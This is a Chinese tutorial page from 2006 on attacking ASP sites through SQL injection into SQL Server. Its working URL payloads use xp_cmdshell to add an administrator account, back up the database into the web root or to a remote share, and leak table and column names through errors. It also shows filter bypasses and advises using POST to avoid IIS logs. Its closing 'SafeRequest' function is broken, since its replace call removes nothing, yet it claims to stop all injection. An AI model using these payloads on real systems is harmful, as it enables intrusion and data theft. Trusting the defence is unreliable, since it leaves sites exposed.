您的位置: 首页 N搜咨询 文章阅读 ASP漏洞全接触-高级篇
打印本页 放大字体 关闭本页
ASP漏洞全接触-高级篇

作者:N搜网友 编辑:N搜网 录入:N搜网 来源:N搜网络
录入时间:2006-9-29 更新时间:2006-9-29 点击次数:522
主标题:ASP漏洞全接触-高级篇
副标题:ASP漏洞全接触-高级篇
短标题:ASP漏洞全接触-高级篇
 
第一节、利用系统表注入SQLServer数据库 

  SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:  

  ①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--  

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:  

  ②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--  

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。  

  ③http://Site/url.asp?id=1 ;;and db_name()>0  

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。  

  ④http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--  

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。  

  ⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0  

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。  

  ⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0  

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。  

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。  

  第二节、绕过程序限制继续注入  

  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。  

  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:  

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。  

  第三节、经验小结  

  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。  

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。  

  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。  

  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。  

  5.猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。  

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:  

  Function SafeRequest(ParaName,ParaType)  
  --- 传入参数 ---  
  ParaName:参数名称-字符型  
  ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)  

  Dim ParaValue  
  ParaValue=Request(ParaName)  
  If ParaType=1 then  
  If not isNumeric(ParaValue) then  
  Response.write "参数" & ParaName & "必须为数字型!"  
  Response.end  
  End if  
  Else  
  ParaValue=replace(ParaValue,"","")  
  End if  
  SafeRequest=ParaValue  
  End function 
N搜网-中国网上商店商品服务搜索门户]:[本文章由N搜网于2006-9-29录入系统,网址:www.nsall.com

打印本页 放大字体 关闭本页
 
 
相关主题文章
一些常用的正则表达式 紫雨轩IIS URL 重写组件 V1.0 [组图]
17种正则表达式 IIS实现ASP,CGI,PERL和PHP+MYSQL [组图]
WEB打印大全 关闭窗口时保存数据的办法
17种正则表达式 用正则解析图片地址,并利用XMLHTTP组件将其保存
利用ASP+JMAIL进行邮件群发的新思路 用ASP实现对ORACLE数据库的操作
ASP操作Excel技术总结 LCID地区代码
实现搜索结果的关键词变色标注的程序 IIS6.0下ASP的新增功能
浅谈如何建立三层体系结构的ASP应用程序 判断Cookies是否处于开启状态
验证码的程序及原理 在线实时开通WEB及FTP源程序 [组图]
vbs(asp)的栈类 用ASP打开远端MDB文件的方法
巧用ASP生成PDF文件 利用FSO取得BMP,JPG,PNG,GIF文件信息
远程获取内容,并将内容存在本地电脑上,包括任何… 三种禁用FileSystemObject组件的方法
js的单元格颜色间隔 一个不需要第三方组件,可实现华简单图形的类
asp实现k线图(在线) 用InstallShield 进行 ASP 软件的打包和自动安装…
如何在服务器端调用winzip命令行对上传的多个文件… 构建免受 FSO 威胁虚拟主机 [组图]
如何正确显示数据库中的图片 远程注册自己的组件
asp提高首页性能的一个技巧 Flash和Asp数据库的结合应用
ASP小偷(远程数据获取)程序的入门教程 [组图] 一个采集入库生成本地文件的几个FUCTION
asp编写的加密和解密类 不能使用asp标记的时候的一个解决办法
ASP无组件上传进度条解决方案 ASP中也能解压缩rar文件 [组图]
ASP做象资源管理器的树形目录 ASP文件上传原理分析及实现实例
一个通用的保护ASP系统的方法 编写安全的ASP代码
ASP ActiveX 组件 连接数据库查询手册
用ASP实现在线压缩与解压缩 ASP能读写注册表
xmlHTTP技术资料 ASP小偷(远程数据获取)程序入门教程
ASP网站漏洞解析及黑客入侵防范方法 轻松实现将上传图片到数据库
ASP编码优化 最简洁的多重查询的解决方案
无组件实现文件上传/下载 ASP漏洞全接触-高级篇
ASP漏洞全接触-入门篇 ASP技术访问WEB数据库
自动获得远程图片 #Writ 获得远程的文件,获得远程HTML文件源码
CDONTS和Jmail的使用 使用ASP生成图片彩色校验码
用ASP制作饼图、柱状图等 [组图] ASP生成静态页面的方法
asp组件上传 ASP中利用OWC控件实现图表功能详解 [组图]
用asp自动解析网页中的图片地址,并将其保存到本… 常用ASP自定义函数集
在ASP中用“正则表达式对象”来校验数据的合法性… ASP中正则表达式的应用
ASP面向对象编程探讨及比较 在ASP文件中调用DLL
C++中的虚函数(virtual function) C语言初学者入门讲座 第二讲 数据类型(1)
C语言初学者入门讲座 第二讲 数据类型(2) C语言初学者入门讲座 第二讲 数据类型(3)
利用VC++编写Windows95的CPL组件 调试Release版本应用程序
利用VC++开发ASP图像处理组件 如何在ASP.Net 中把图片存入数据库
用ASP实现的2000年倒记时程序 用VB6分离出文本框的单词
在ASP中用“正则表达式对象”来校验数据的合法性… 用ASP实现网上考试系统
在ASP中利用“正则表达式” 对象实现UBB风格… [组图] 在Asp.Net中从sqlserver检索(retrieve)图片
消息队列在VB.NET数据库开发中的应用 在PowerBuilder中调用ChooseColor函数
在PB中应用灵活多样的排序 用C#编写获取远程IP,MAC的方法
如何在ASP程序中打印Access报表 用Vb.net实现自定义界面
使用C#编写扩展存储过程 Java平台上的CRM系统
VB.NET开发扫描客户端服务工具 Visual Basic.Net连各种数据库的几种方法
JSP数据库连接方式总结 如何选购虚拟主机
什么是虚拟主机? 虚拟主机优点有那些?
 
 
 
本站关键字:网上商店商品服务大全 网上购物导航 在线购物搜索引擎 网店比较购物 网络商城 特色网上超市商店 网上网络开店购物